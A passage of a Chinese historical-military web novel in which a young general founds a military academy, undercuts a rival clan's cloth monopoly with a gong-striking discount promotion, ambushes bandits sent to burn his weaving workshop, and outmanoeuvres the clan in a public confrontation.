洛羽大为诧异,这份情报对他来说至关重要。可君墨竹和李玄冰同为陇西四公子之一,想必两人早就认识,君家与李家也多有来往,君墨竹不与自己为敌已经是好事,怎么好端端的还帮自己?
“为何不能帮你?我与李玄冰之间可没什么深交。”
“总得给我一个理由吧?”
“理由?很简单。”
君墨竹面无表情的说道:
“陇西三州,定州与阙州处于前沿,唇亡齿寒,阙州失则定州不保。李家,呵呵,都是一群贪生怕死的小人,在我看来你守着阙州更让我安心。”
洛羽眉头微挑,君墨竹这番话听起来有道理,但总觉得他还有其他用意。
“别多想,这次我是真心实意助你,绝不是故意给你下套。”
君墨竹像是能看穿洛羽的心思:
“这座苍岐城好歹是我给你的,我总不至于看着它毁在别人的手里吧?我只能帮你这么多,能不能拿下阙州,就看你的本事了。”
洛羽微微一笑,手掌轻翻:
“易如反掌。”
……
君墨竹走了,紧跟着苍岐又迎来了另外一位客人。
饮马镇曹殇。
当初他和洛羽在凤川城外并肩战斗,力退羌兵,一场大战尸横遍野,没有他挡住羌兵一夜,如今的凤川城就是一片废墟。现在骂曹殇的人已经很少了,提起他都不自觉地竖起大拇指,说这才是条汉子。
他来苍岐是送马的,因为洛羽出高价把饮马镇今年产出的马匹全都包了,总计四百余匹,正好给洛羽麾下凑整四营骑兵。
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“驾!”
“轰隆隆!”
“手臂绷直,对准前方的稻草人,用力突刺!”
“喝!”
“砰!”
赤裸双臂的粗狂汉子骑着高头大马在校场上来回奔驰,操练枪术,帮着沙袋的稻草人被不断捅翻在地,喝声不绝。
需要操练枪术的大多都是新兵,一眼就能看出来坐在马背上的身躯很僵硬。老兵们则汇聚成阵,数百甚至上千人一群,策马奔腾,根据鼓点号令来回变幻阵型。
用萧少游的话说,以前他们骑兵不过数百,很少操练过大规模骑战之法,与羌兵交战大多靠的是近战搏杀的勇气,现在骑兵扩充了四营,自然需要多练骑阵之术。
几百骑和几千骑放在战场上那可有着天壤之别。
新兵们的**刺出时带着生涩的破风声,而老兵阵列的马蹄声如闷雷碾过大地,扬起的尘土漫天飞舞。
新兵老卒,皆乃洛家军!
“好壮观的场面啊。”
曹殇砸了咂嘴,满脸艳羡:
“老子真没料到有一天能看到如此多的骑兵,而且他们身上带着一股子杀气,想必都是在云阳关经历过血战的精锐吧?”
“曹兄好眼力,确实都是从**堆里爬出来的。”
“上次杀了完颜昌,这次又杀了完颜康,兄弟俩全都死在洛兄手里,佩服啊。”
“这里面也有曹兄一份功劳。”
洛羽轻声道:“没有你的马就没有这么多骑兵,能不能拿下云阳关还不一定。”
“得了,这些客气话就别说了,我老曹可不敢沾这个光,咱就是个卖马的贩子罢了,都是为了混口饭吃。”
曹殇无所谓地摆摆手:
“行了,马既然已经送到,我也该走了。”
“曹兄!”
洛羽突然叫住了曹殇,神色认真:
“上一次羌兵奔袭凤川城时你说过,希望陇西能多一些男儿,如今苍岐城内个个都是铁血之卒,曹兄若是不弃,可来共事!”
曹殇愣了许久,最后还是摇了摇头:
“罢了,我曹殇自由自在的惯了,守着饮马镇过自己的小日子就好,告辞!”
望着渐行渐远的背影,萧少游悄无声息地出现:
“你想拉拢他?”
“没错。”
洛羽坦然点头,目光怅然:
“论实力,他手底下虽然就一两千人,可几乎都是骑兵,比起其他牙兵强上太多;论人品,外敌入侵他敢奋起一战,只此一点就足以令人钦佩。
这样的人才不招入麾下,可惜啊。”
第155章玄岐军校
岐连峰脚下多了一大片建筑群,一栋栋宅院依山而建,参差错落。
院落大门更是气派,飞檐高宇,正中央挂起一块匾额,龙飞凤舞地写着四个大字:
玄岐军校!
早在苍岐只有四百军卒时洛羽就与萧少游商量过,要教所有士卒读书识字,教会所有人如何去做百户、都尉。
当时洛羽坚信,四百人只是苍岐的起点,以后他们会有四千人,四万人!他需要一大批有能力的基层将校带兵。
后来因为与姚家争斗不休,云阳关又横生战事,所以此事推进得极为缓慢。
现在战事平定,苍岐与凤川迎来了短暂的祥和,洛羽便提议设立军校一座,教将士们读书识字、兵法谋略,为苍岐培养出更多优秀的将领。
玄岐二字也有深意,玄是“洛”字军旗的底色,岐乃洛家军的起家之地,也是他们的根!
军校正中央是演武场,近四百名身披甲胄的将士傲然而立,一面硕大的“洛”字军旗在风中高高飘扬。
他们就是玄岐军校的第一批学员!仔细看你就会发现,里面有很多人是苍岐刚建时的老兵。
洛羽缓步登上高台,朗声喝道:
“将士们!”
“轰!”
所有人齐行军礼,目光炙热。
洛羽扫视全场:
“你们都是军中的校尉、都尉、副尉、百户、标长,出了军校的大门,你们就是我洛家军的中流砥柱,领军将校。
但走进玄岐军校,你们就是学生,要遵守校纪校规,刻苦求学,谁敢懈怠就按军**处。”
“诺!”
近四百军卒虽然齐声应喝,但目光中或多或少都带着疑问。
“你们肯定在想,好端端的为何要来学堂求学?都是大老粗,扁担倒了不知道是个一字,学个屁啊。”
“哈哈哈!”
满场哄笑,洛羽还真猜中了他们的心思,粗狂的军汉们笑得合不拢嘴。
“现在我告诉你们为何要建立这座军校,因为我要教你们如何带兵打仗!”
洛羽压压手止住笑声:
“我不否认,你们打仗都不是庸手,能跟着我从云阳关战场活下来肯定有两把刷子。
标长也好,百户也好,都是从**堆里爬出来的,谁说你们不会打仗你们肯定要急眼。
但是你们有没有想过,打仗靠的是什么?靠的是凭一腔热血喊一声杀?靠的是勇往无前的气势冲上去跟敌人蛮干?”
众人怔怔然,没错,在场很多人就是这么带兵的。
“没错,有勇气有血性是好事,我很喜欢,但如果能多动点脑子,多学一些兵法,是不是就能打更多的胜仗?是不是就能少死一些人?
咱们的兵是不怕死,可凭什么让他们白白**?你们作为领兵将校,该考虑的是如何在打赢的同时让更多人活下去!”
洛羽的话令众人陷入了沉思,没错,能跟着洛羽走到今天,他们都不缺勇气,但不代表着他们不想活。
“要让手底下的兄弟活下去,你们就得读书识字,就得学习兵法谋略!”
“今日你们是标长,是都尉,是校尉,这就是你们人生的尽头了吗?难道你们就不想当将军吗!”
洛羽陡然冷喝:
“都说不想当将军的士兵不是好兵。”
“告诉我,想不想!”
“想!”
四百人同时握紧拳头吼了一声,人人面色涨红。
“所以你们才要学习,才要进步!将军不是从天上掉下来的,而是靠自己学出来,打出来的!”
洛羽竖起一根手指摇晃着:
“只读兵法不会带兵,那是书呆子,是纸上谈兵!但你们不一样,你们杀过人,你们见过血!你们学了兵法就会如虎添翼,就会成为我边军的栋梁!
明白吗!”
“明白!”
这一次他们的目光中不再有疑惑,而是坚定。
“玄岐军校的校训只有八个字!”
洛羽朗声道:
“生死同赴!家国同在!”
“既入军伍,便是同袍,同袍之情,胜于兄弟!值得以命相托!
日后不管是胜券在握还是危难之际,我都希望你们不要抛弃自己的同袍,更不能当叛徒,是生是死,同路前行!
都说家国家国,没有小家,哪有大国,大国覆灭,小家难存,都给我记住,家与国同样重要!我们是为国而战,更是为自己的小家而战!”
“这八个字我希望你们刻在骨子里,永远不忘!”
“轰!”
四百悍卒齐声怒吼:
“生死同赴,家国同在!”
“死战!”
演武场上壮志激昂,吼声直冲云霄。
洛羽很满意地点了点头,语气趋于平静:
“今日由我来主讲第一课!”
“五条基本战术原则!”
“三三制、一点两面、四快一慢、三猛战术、三种情况三种打法!”
……
玄岐军校的第一天授课结束了,洛
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羽讲的喉咙都干了,甚至觉得讲课比打仗还难。
他原本以为那些老兵会听不下去,会不耐烦,所以引经据典,讲得头头是道。
哪知道他们越听越起劲,最后愣是拦着洛羽不给走,逼着他把五条战术原则讲完。
别说那些基层地标长百户了,就连韩朔、霍连城这种老资格听了之后都心服口服。
到底是十九岁的定边将军啊,不服不行。
离开玄岐军校,洛羽转头就来到了官作司设在苍岐的棉布作坊,日夜赶工生产出来的棉布已经堆积如山。
“经过改进的织机就是快啊,这速度令人惊叹。”
江殊抚摸着一匹棉布:
“而且质地上乘,比李家的布更软、更舒适,孰优孰劣,百姓一摸便知。”
“棉布备货已经充足,接下来就是贩卖了。”
洛羽抱着膀子问道:
“李家棉布的定价约在二两银子一匹,你觉得咱们该定价多少?”
“既然要抢占市场,那咱们的价格一定要比李家低!”
江殊冷静的分析道:
“这些布一旦拿到市场上去,李家定然会和我们打价格战,我的意思是不要给他机会!一口把价格压到死!
咱们的成本差不多在八钱银子一匹,后续随着规模扩大、工人熟练,成本还可以更低,哪怕咱们定价一两银子也有得挣!
我的建议是,定价一两,李家的成本绝对在一两之上,他压不到这个价格!”
“那就听你的,一两!”
在做生意方面肯定是江殊更精通,洛羽选择听他的。
“现在我只担心一件事。”
江殊皱眉道:
“咱们怎么卖出这些布?老百姓们都是去布行买布,整个阙州的布行要么是李家的,要么是从李家进货。
只怕咱们的布行店面刚开就会被**现,到时候百姓还没上门,店铺就被李家找借口查封了。
要想彻底打开市场,得想个法子一炮而红!不给李家反应的时间,如同当初的三锅头。”
江殊眉头紧皱,这些天他一直为此事发愁,整夜整夜的睡不着。
“你说的有道理,李家很可能把咱们的布行扼杀在萌芽之中。”
洛羽来回踱步,苦思冥想,最后脚步一顿:
“有了!我还真有个法子能让棉布一炮而红!”
“噢?何法?”
洛羽一脸阴险的笑容,贱兮兮地竖起一根手指:
“布多多!敲锣锣!”
第156章布多多、敲锣锣
天阙城
阙州首府。
陇西三州位于边疆,饱受战火袭扰,羌兵游骑时时入境劫掠,按理说应该驻扎重兵于边境,但李家总是对云阳关的布防漠不关心。
为什么?
因为天阙城才是李家的老巢,精锐牙兵、粮草、物资全都囤积在这,城墙更是在一次次的修缮下变得无比坚固、巍峨高耸,羌人的骑兵就算到了城下也束手无策。
多年来云阳关屡屡被破,但天阙城稳如泰山,这也吸引了大量商贾云集于此、城内人口众多,当之无愧的阙州第一大城。
车水马龙的街巷中多出了一些小贩,两人一组,一人挑着崭新的棉布、一人手持铜锣沿街叫卖:
“瞧一瞧看一看咯,上好的棉布,物美价廉!”
“咣当!”
“都来看看!绝对的好货!”
咣咣的锣声很快就吸引了一些百姓围观,有懂行的上手摸了摸,顿时目露诧异:
“这棉布真不错啊,质地柔软,颜色花样也多。”
“哎呦,客官您真是行家,咱们的棉布精选优质棉花,做工精细,看看这纹路,这色彩,哪样不是上乘?
您但凡能挑出毛病,这匹布就送你了!”
“好大的口气,成,我来瞧瞧!”
商贩的自信迅速引来了众人的好奇,好几人自认为眼光不错,左看右看,确实挑不出毛病,已经有心动地开口问了:
“兄弟,此布什么价?”
“不贵!”商贩竖起一根手指:“一两银子一匹!”
“一两银子?你莫不是在诓咱们吧,怎么会这么便宜?还是说这些棉布来路不正,急着脱手?”
天阙城的棉布市价差不多二两银子一匹,直追丝绸,此人的棉布明显比市场上卖的布要好,怎么还便宜了一倍?当下就有人怀疑该不会是赃物吧。
“客官说笑了不是,这可是凤川城官坊织出来的棉布,怎么可能来路不正?咱们官坊有高超的织造技艺、染色秘方,成本低廉,价格自然更便宜!”
商贩拍着胸脯信誓旦旦地保证道:
“不信你们可以去凤川知府打听,绝对是官坊织出来的布,若有半句虚言你们就把我扭送官府问罪!”
“此布竟然出自凤川官府,他们什么时候也织布了?我以为他们只卖酒呢。”
“不过这布的质量是真不错啊。”
有官府担保,免不得有人心动,但一两银子对绝大部分老百姓来说可不是小数目,买得起的人寥寥无几。
“咣当!”
商贩猛地一敲铜锣:
“诸位客官,咱凤川的布刚卖,开业钜惠!咱们有一个活动,叫布多多、敲锣锣,你们有机会白拿一匹布回家!一个铜板也不需要花!”
“什么,白拿!”
“赶紧说说,布多多、敲锣锣是何意?”
奇怪的名称让众人很是好奇。
“很简单!”
商贩将手中的铜锣高高举起:
“谁想买布就找二十个人来敲响铜锣,不管是同乡家人也好,陌生人也罢,只要拿着锣在街面上敲一声,布价就少半钱银子!
例如你只找来十个人,敲了十声锣,那你付五钱银子就可以把布带回家!”
“竟然有如此好事!”
一名中年农妇双眼冒光:
“小贩哥,你可莫要诓我,我现在就回村喊人。”
像她这种老实巴交的农家妇女一辈子都穿不上棉布,如今天大的好机会摆在自己面前,怎能放弃?
“一口唾沫一颗钉!”
小商贩架起铜锣,放下布匹:
“我就在这等!不过请大家记住,今天能免费拿棉布的名额只有五十个噢,机不可失,时不再来!”
“小哥莫走!”
“等我!”
很多人急吼吼地跑开了,不到一炷香的功夫就有更多人从四面八方涌来,咋咋呼呼拿起铜锣就哐哐敲。
当第一个人没花一分银子把布抱走的时候所有人都疯了。
是真的!
接下来的局面一发不可收拾,很多人一开始是不明就里被拉来敲锣,当他们了解详情之后立马加入了布多多的行列,他们要做的只是重新拉二十人来敲锣,敲锣的队伍急速膨胀。
像这样的商贩不止一处,整个天阙城起码几十对这样的商贩,没有固定摊位,就挑着布匹沿街叫卖。
一天时间,街头巷尾到处都是敲锣的声音,凤川布三个字响彻天阙城!
……
“凤川布凤川布,谁能告诉我这些棉布是从哪里冒出来的!”
“混账,一群废物!”
“这么大的事竟然到今天才上报,你们这群饭桶!”
城中持节府内回荡着愤怒的骂声,一名白发苍苍的老人指着一群李家族人破口大骂。
李松年,李家家主,正三品阙州持节令,主管全境军政大权!
在皇室日渐衰弱的大乾朝,李家在阙州就是名副其实的土皇帝,朝廷的圣旨你可以不听,但决不能得罪李家!
这么多年唯一一个异类就是洛羽了。
跪在地上的李家族人都是负责布匹生意的,一开始街头巷尾出现敲锣声的时候谁都没在意,鬼知道那些贫民百姓又在搞什么新花样。
后来有人听说是小贩在卖布,依旧没当回事,虽说李家垄断了布匹生意,但总不至于和几个沿街叫卖的小商小贩抢生意吧?
五天,整整五天,李家所有布行一匹棉布都没有卖出去,甚至连进店的客人都变少了,直到此时他们才想起来汇报给李松年,自然挨了一顿痛骂,有几个倒霉蛋还被踹了两脚。
“父亲,查清楚了。”
李玄冰从屋外走了进来,脸色不是很好看:
“确实是凤川城官坊织造的布,不仅是天阙城,境内各城都出现了商贩沿街叫卖,一定是洛羽在搞鬼!”
“我就猜到是他。”
李松年愤怒地踹翻一人:
“滚,都跪在这干嘛,今天
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要是再卖不出一匹布,老夫扒了你们的皮!”
几人吓得瑟瑟发抖,连滚带爬地退了出去。
“断了凤川酒水的贩卖渠道时我就知道洛羽会反击,但我万万没想到他会来抢咱们的布匹生意。
凤川城新建了一个官作司,雇佣了大量农妇日夜不停地织布,眼下阙州境内的布全都来自所谓的官作司。”
李玄冰的脸冷得像冰块,布匹生意是李家收入的大头,岂容他人染指?
“以前从未听闻过凤川能织造棉布,怎得突然就冒出一个官作司?”
李松年满心烦躁地走来走去:
“他们的棉布我看了,质地确实比咱们的布要好,可他的定价为何会如此之低?故意低价跟咱们抢生意?”
“不一定啊,或许他真有法子让成本变得极低。”
李玄冰的眼眸中竟然闪过一丝忌惮:
“他酿酒有独门秘方、保不齐真会什么特殊的织布方法,此子的手段层出不穷。”
李松年眉头紧皱:
“实在不行我们也降价,跟他打价格战,以咱们李家的名声还有这么多布行,总不至于卖不过凤川城吧?”
“不行,价格决不能降!
他们定价是一两银子一匹,甚至低于我们的成本价,如果打价格战,我们卖得越多亏得越多,得不偿失。
而且还会给老百姓造成一种错觉,棉布就该卖低价,以后咱们再想卖高价就难了。”
“那就派人把那些小商小贩全都抓起来!看他们还有什么法子卖布!”
现在耳朵里全是府外敲锣的声音,有几名小贩直接把摊位摆在了持节府的边上,气得李松年鼻子都歪了。
“不行,不妥!”
比起暴躁的老爹,李玄冰的心思明显更加缜密,再一次否决:
“这就是洛羽最聪明的地方,他没有租店铺、开布行,而是找几个小贩沿街叫卖。
他们不偷不抢,光明正大做生意,咱们若是无凭无据、光天化日地把人抓了,李家的脸面何在?爹的脸面往哪里放?
就算真要抓也抓不完,今天我们抓一批,明天苍岐又能再派出一批人,对他们来说压根没有损失。”
李家在阙州就算再霸道,那明面上的律法还是要讲的,抓几个正经做生意的摊贩,不怕老百姓背后指着你脊梁骨骂?
“这也不行那也不行,难道我们眼睁睁地看着棉布烂在家里?玄冰啊,你得赶紧想个办法。”
李松年气的面色铁青,只能寄希望于自己的儿子了。
“这种时候只能釜底抽薪。”
李玄冰冷笑一声:
“我已经打听过了,凤川城官作司的作坊全都建在凤川城外,并无兵马护卫。
如果说整个作坊毁于一场大火,织机成为一堆灰烬,他们拿什么织布?”
“妙啊,他总不能凭空变出棉布来吧?”
老人的脸上终于出现一抹笑容:
“做的隐蔽点,别让人察觉!”
第157章这不是李大管家嘛
凤川城外十里处有个小村落,名为青溪村,因一条溪流绕村而过得名。
新立的官作司把布坊建在了这,因为棉布的染色、漂洗都需要水流助力,布坊沿溪而建可以大大节省人力物力。
夜色朦胧,月明星稀。
村中民宅早就黑灯瞎火,百姓们早早入睡,但沿溪而建的布坊却灯火通明,屋内人影攒动,妇人们脚踩织机,发出咿呀咿呀的声响,宛如在欢声笑语。
官作司已经招了六百多名织工,清一色全是女子,按照洛羽的意思,布坊的工人优先招募孤寡妇人和边军遗孀。
官作司给的工钱很高,足够这些妇人养家糊口,而且一天还管三顿饭,如此优厚的待遇让织女们感激涕零,再也不用担心家中的孩子饿死、老人病死。
江殊将所有织女分成三批,一天三班倒,上夜班的工钱就高些,轧棉机剥皮去籽,织机昼夜不停地吐出棉丝,再经过染色漂洗等一道道工序,最后变成一匹匹崭新的棉布。
分工合作、各司其职,流水线作业,效率奇高!
凤川布看似短短几天火遍阙州,但直到今天,棉布还没有给官作司挣回一个铜板,绝大部分客人都是用敲锣锣的方式免费换走了布。
洛羽毫不在意,他说现在是打开市场、打开口碑的时候,等凤川布的名声传开,有了市场认可度,日后银子自然会源源不断地流入官作司。
虽然有很多词让江殊感觉到陌生,但他认可洛羽的建议,听雨楼连卖酒的利润都拿出来补贴官作司织布了。
屋中点着很多油灯,哪怕是夜班,织女们也丝毫不觉得疲累,反而笑容满面,因为多踩一脚织机就能多挣一分工钱。
就在这般热火朝天的氛围中,有无数黑影正悄无声息地靠近青溪村,最后藏在了一片密林中,借着茂盛的树影遮掩身形。
一张张狰狞的面庞从夜色中探出,明晃晃的弯刀在月光的映衬下泛着寒光,破破烂烂地穿着再配上臭烘烘的体味,一看就是常年隐居深山的土匪!
“乖乖,这就是凤川官作司吗,好大的规模。”
为首是一名麻脸男子,阙州一带有名的土匪头子,人送外号张**。手底下三四百号土匪,据说全都是滚刀肉,打家劫舍无恶不作。
他身边是一位穿着丝绸衣裳的老人,微挑的眼眸带着倨傲之意,如果洛羽在这一定能认出来:
李庭。
就是当初护着姚林回凤川的那位李家老管家,本以为虎躯一震就能吓得洛羽屁滚尿流,结果洛羽当着他的面射杀了姚林,狠狠在他的老脸上打了一巴掌。
“这次的差事可是大公子亲自吩咐的,若是办砸了,应该知道后果。”
老人目光冰冷,甚至都没有正眼看张**,他们这些都是靠着李家开恩才能存活,李庭在土匪头子面前那就是爹,李家派来的亲爹!
“明白,小人心中有数!不就是对付一些织女民夫嘛。”
张**点头哈腰,一脸谄媚的笑容:
“这点小事咱还不是手到擒来?只不过烧了作坊之后那么多织女怎么办?”
“织女?”
冷不丁的提到织女,李庭有些疑惑:
“织女碍着你什么事了?有不开眼的就杀了。”
“小的不是那个意思,主要是兄弟们在山里憋久了,许久没开荤了,呵呵。”
张**兴奋地搓着手,眼神中流出一股**之色。
“的得,你们爱怎么办怎么办。”
李庭懒得去管这个精虫上脑的家伙:
“记住,织机一台不剩,全给老夫烧了,布匹统统拖走!只要差事办得好,公子说不定会赏你们大把银子!”
“明白!”
张**狞笑一声,大马横刀地站了起来:
“兄弟们,今夜咱们就要干一票大的,待会儿进了村子,织机统统烧毁,妇女全都掳走!
今晚谁卖力、谁玩命,谁就可以先玩女人!”
听到有如此好事,所有土匪都兴奋地吼叫起来,对这些土匪而言能让他们兴奋的只有银子和女人。
李庭万万没想到张**就这么明目张胆地站了起来,浑然不顾暴露,暗骂了一声乌合之众。
不过他很快又安心了,反正都是负责织造棉布的农妇,两三百号土匪对付她们还不是绰绰有余?
“蹭!”
土匪的二把手抄着一柄大刀,怒声吼道:
“兄弟们都给我
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杀,烧织机,抢女人!”
“嗖!”
这位二头领从头到尾只说了这么一句话便被一支利箭射穿了咽喉,喷射而出的鲜血溅了张**一脸,张麻子成了血麻子。
林中鸦雀无声,全都像见了鬼一般看着地上的死尸,这也太恐怖了吧。
“嗖嗖嗖!”
“噗嗤噗嗤!”
箭矢铺天盖地地从夜幕中射出,彻底覆盖了土匪藏身的丛林,兴奋的吼叫被凄厉的哀嚎取代,恐慌迅速在人群中蔓延,他们甚至没有看见一名敌人,只知道死神就藏在自己附近。
在一波波箭矢之后,上百名披甲军卒手持利刃冲入了林中,对惊慌失措中的土匪举起了刀锋。
这甚至不能称之为战斗,最多是一面倒的**。
就算你是号称滚刀肉的土匪又如何?面对经历过沙场征伐的精锐军卒只能引颈待戮。
刀光剑影交错,哀嚎嘶吼回荡。
一具具死尸倒在自己身边,李庭哪还能保持高人风范,吓得失声尖叫:
“保护我,快保护我!撤啊!”
张**同样吓得丢了魂,护着李庭往丛林深处钻。不是说好对付妇女民夫的吗?怎么变成精锐甲士了?
两人一跑就被发现了,十几名军卒健步冲来,李庭面色惨白,不停地推张麻子:
“快,快拦住他们!”
“李老,咱们还是快跑吧。”
张**那叫一个有苦难言啊,自己哪有本事拦住他们?
“嗖!”
又是一支利箭袭来,这一次直接洞穿了张**的脑壳,凶名赫赫的张**像条死狗一样瘫在了地上,再无半点生机。
李庭吓得双腿发软,往地上一瘫,鼻涕眼泪一股脑地往下流,一位手持**的男子正在缓步走向他。
余寒弓。
老人记得他,那日就是余寒弓隔着那么远的距离,一箭射杀了姚林,至今这张脸都深深刻在他的脑海里。
“不,不要杀我。”
李庭惊恐不已,拼命地摇头:“别杀我。”
“呦呵,这不是李大管家嘛。”
余寒弓一脚踩在了他的胸口,讥讽一笑:
“我等你很久了,放心,我可舍不得杀你!”
第158章偷鸡不成蚀把米
天阙城的街道上出现了一群不速之客,一队百十人的黑甲精骑押着一辆囚车进了城中,在闹市中穿行,引来无数百姓侧目:
“这是什么人啊,城中的骑兵哪有穿黑甲的?”
“你眼瞎啦,看不见那面洛字旗吗,肯定是苍岐洛将军的兵马。”
“苍岐的兵马?领头的那位年轻人该不会就是洛将军吧?那可是传说中的人物啊!”
“那当然,除了洛将军还能有何人如此威武?仪表堂堂,这才是咱们阙州男儿该有的样子!”
“可洛将军不在苍岐待着,怎么跑到天阙城来了,不是听说李家与洛将军一向不和吗?”
百姓中不乏消息灵通之辈,洛羽在云阳关杀了李光业、两家又在布匹、酒水生意上起争执,关系能好才怪了。
“谁知道呢,估计和囚车有关吧,这蓬头垢面的老头是谁,怎么还骚哄哄的。”
“咦,我怎么看这老头有点像李府的管家呢,叫什么来着,李庭!”
“我靠,真是李庭!苍岐竟然把李家的管家给抓了!”
错愕声四起,李庭在李府一批管家里面算是资历比较老的,颇有声望,城中大户人家都得卖他几分面子,洛羽竟然把这家伙抓了!
为何抓他?
很快骑队中响起的怒喝声就解答了他们心中的疑惑:
“此人私通土匪,袭击凤川城官署,罪大恶极,特送至持节府审问!”
全场哗然,这个老东西竟敢私通土匪袭击官署!
骑队一路喊一路走,最终停在了持节府的门口,早有数百甲士严阵以待,虎视眈眈的眼神就像是要**。可一百洛家精骑全然不惧,目光中甚至带着些许轻蔑。
街巷中挤满了吃瓜群中,他们已经嗅到一股剑拔**张的氛围。
洛羽翻身下马,朗声高喝:
“苍岐洛羽,求见阙州持节令!”
府内的人好似知道他要来,一声怒喝:
“进!”
在官衙正堂里,洛羽见到了老熟人李玄冰,还有那位闻名已久的阙州持节令,李松年。
李庭被几名军汉押着,瑟瑟发抖,压根不敢去看自己的主子。
父子两脸色低沉,一没想到李庭如此轻松就被洛羽活捉,二也没想到洛羽敢这么大摇大摆地走进天阙城。
“苍岐洛羽见过李大人,见过李公子!”
洛羽客客气气地弯腰行礼,礼节上挑不出半点毛病。
“洛将军,您的属地不是在苍岐或者凤川吗?”
李松年老眼微凝:“今日怎得到天阙城来了。”
“这不是碰着麻烦事了嘛。”
洛羽心平气和地开口道:
“两天前凤川城下属的官作司突遇土匪袭击,匪首张**子纠集数百悍匪,想要烧毁官作司的布坊,还想**民女、谋财害命。
得亏凤川官军早就猜到有人会偷袭布坊,埋伏在外将其一网打尽,但没想到在土匪从中抓到了李庭。
若是常人早就被我一刀砍了,可李庭毕竟是大人府中的管家,在下不敢擅自处置,只能送来天阙城。”
看热闹的百姓们豁然开朗,原来是这么一回事,当下心思活络的人已经猜出了其中缘由。
凤川棉布刚抢了李家的生意,转头官作司就遭遇土匪袭击,李家的人还混在里面,谁指使的还用问吗?
李玄冰暗骂一声大意了,感情青溪村早就成了鱼饵,就等着土匪上钩。
李松年板着脸:
“原来是这么回事,这些土匪真是胆大包天,竟敢袭击凤川城官署,洛将军杀得好!”
“土匪事小,牵连李庭事大啊。”
见李松年想岔开话题,洛羽煞有其事地说道:
“李大人您就不好奇吗,区区一个管家为何会与土匪混在一起?背后是不是有人指使他袭击凤川官署。他虽然被抓了,可说不定还有同伙藏身于李府之中。
如今他敢袭击凤川官署,日后就敢袭击持节府!
为了持节府的安全,为了您老的安危,我建议彻查此事,揪出幕后元凶,看看李庭背后还有没有奸诈卑鄙、下流无耻的歹人!
如果有,咱们一定要将那些歹人连根拔起,挫骨扬灰!”
洛羽唾沫横飞,当着父子俩的面一顿痛骂,就连心思沉稳的李玄冰都气得满脸通红,当场拍案而起:
“李庭!究竟是谁给你的胆子敢与土匪私通,枉本公子如此信任你,真是瞎了眼!”
“我,我……”
李庭吓得瑟瑟发抖,完全不知道该怎么答话。
洛羽的目光变得森然:
“你还有没有同伙!或者说此事背后另有他人指使?李大人在这,满城的百姓都在看着你,如果有什么冤屈就说出来,李大人定会为你主持公道!
但你如果冥顽不灵,那私通土匪、袭击官署,可是死罪!”
李庭浑身一颤,目光茫然,这么多人看着,难道自己要供出幕后主使就是持节令?
哪怕所有人都猜出此事与李家有关,可自己亲口承认那性质完全不一样。
“洛将军说得没错,你给本公子好好想想,到底有没有幕后主使!”
李玄冰冷声冷语:
“别忘了,你的家人都还在府上,不为自己也为他们想想。”
刚刚还有些畏惧,犹豫的李庭彻底绝望了,跟了李玄冰这么久岂会不懂他的意思?双目无神的瘫在地上:
“没有同伙,没有主使。都是小人一人所为。”
“当真?”
李松年冷喝道:“洛将军在此,你可休要欺瞒!”
“千真万确!”
李庭变得有些疯狂,颤抖着指向洛羽:
“此前他杀了姚林,令小人丢了脸,从那以后我便怀恨在心,这次想袭击凤川官署就是我在报复!与旁人没有丝毫干系!
小人有罪,小人该死!”
洛羽面无表情,眼中闪过一抹寒意,李玄冰的手段还真是高啊,直接用家人相要挟。
李玄冰这才舒舒服服地靠在了椅子上,甚至用一抹得意的眼神看向洛羽。
“洛将军听到了吧?父老乡亲们都听到了吧!”
李松年缓缓起身,朗声喝道:“李庭挟私报复,串通土匪,袭击官署
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,罪大恶极!”
“来人,立刻处死!以儆效尤!”
还没等在场的人反应过来,直接走来两名凶神恶煞的军卒,一刀捅穿了李庭的胸膛,血淋淋的尸体就这么被拖走了。
围观的百姓心中一寒,好狠的李家,自己的族人说杀就杀了。
“洛将军满意了?”
“李大人果然是秉公执法啊,大义灭亲,在下佩服!”
洛羽目光微挑:
“不过在下还有事要说。”
“那就快说!”
“想必李大人知道,凤川官作司如今做棉布生意,招纳的织女都是孤寡妇人、边军遗孀,在下图的不是赚钱,是让这些妇人能够养家糊口。
大人您是阙州持节令,心系百姓,想来也不愿意看着这些孤儿寡母的饿死吧?”
百姓们默默点头,看来这位洛将军是好人啊,但李玄冰的眉头却皱了起来:
“你到底想说什么?”
“简单,想请李大人帮帮忙!”
洛羽呵呵一笑:
“此前凤川棉布都是靠小商小贩挑着贩卖,十分不便,现在凤川官作司想在各城开设布行,包括天阙城,这样一来咱们卖布方便,百姓买布也方便。
还望李大人首肯!”
“在哪里开店是凤川官署的自由。”
李松年冷着脸道:“只要本本分分开店,不做违法之举,何需要本官帮忙?”
“在下这不是害怕嘛。”
洛羽一脸无辜:“大人您想想,布纺刚开没几天就被土匪盯上了,差点**。若是开了布行,保不齐又会有土匪上门,又或者小人觊觎。
为了让孤寡遗孀能挣工钱养活家人,在下斗胆,恳请大人派差役保护布行的安全,以免奸贼作乱!”
李家父子那叫一个气啊,你在李家眼皮子底下开布行抢生意,还要我保护你店铺的安全!无耻至极!
可李松年是阙州的父母官啊,总不至于当众拒绝这么合理的要求吧?只能硬着头皮说了声:
“好!”
“父老乡亲们,邻里街坊们,你们都听到了吧!李大人以李家的名誉和声望担保凤川布行的安全,日后若是布行遇险,李大人定会负责!”
洛羽朗声高喝,铿锵有力:
“李大人不愧是阙州的父母官,心系百姓,一心为民!”
“在下代凤川织工,谢过李大人!”
在洛羽一声声道谢中,李家父子双眼冒火,差点连鼻子都气歪了。
……
洛羽带着一百精骑大摇大摆地离开了天阙城,驻足城头的父子俩脸色铁青,恨不得现在就派兵杀了他。
可是无缘无故就杀一位正四品定边将军,李家就得背上个**的名头,凡是总得有个由头。
“偷鸡不成蚀把米啊,没想到被他将了一军。”
李松年死死攥紧拳头:
“布行一开,凤川布的价格比咱们低,质量也比咱们好,这下我们的布真要卖不出去了。”
“你还真当我李家拿你没办法!”
李玄冰咬牙切齿:
“不杀此子,难泄我心头之恨!”
第159章幼女之谜
凤川布行如雨后春笋般从各城冒了出来,甚至连天阙城也开了一家,就开在李家布行的隔壁。
凤川棉布的质量好,价格又比李家低了一倍,时不时再给你来一波布多多、敲锣锣的促销活动,让老百姓免费买布,短短月余就盖过了李家棉布的风头,风靡阙州全境。
随着布行门可罗雀,迫于无奈的李家终于开始降价,李家父子一咬牙也将棉布的价格压到了一两银子一匹布。实际上这个价格已经无利可图,甚至是亏损的。
没想到降价之后生意没有变好,反而招来了很多骂声。
百姓都觉得凤川布质量这么好只卖一两银子,李家以前卖二两,完全是暴利,如今降价竟然只是和凤川棉布持平,这不是糊弄鬼吗。
毫无诚意!
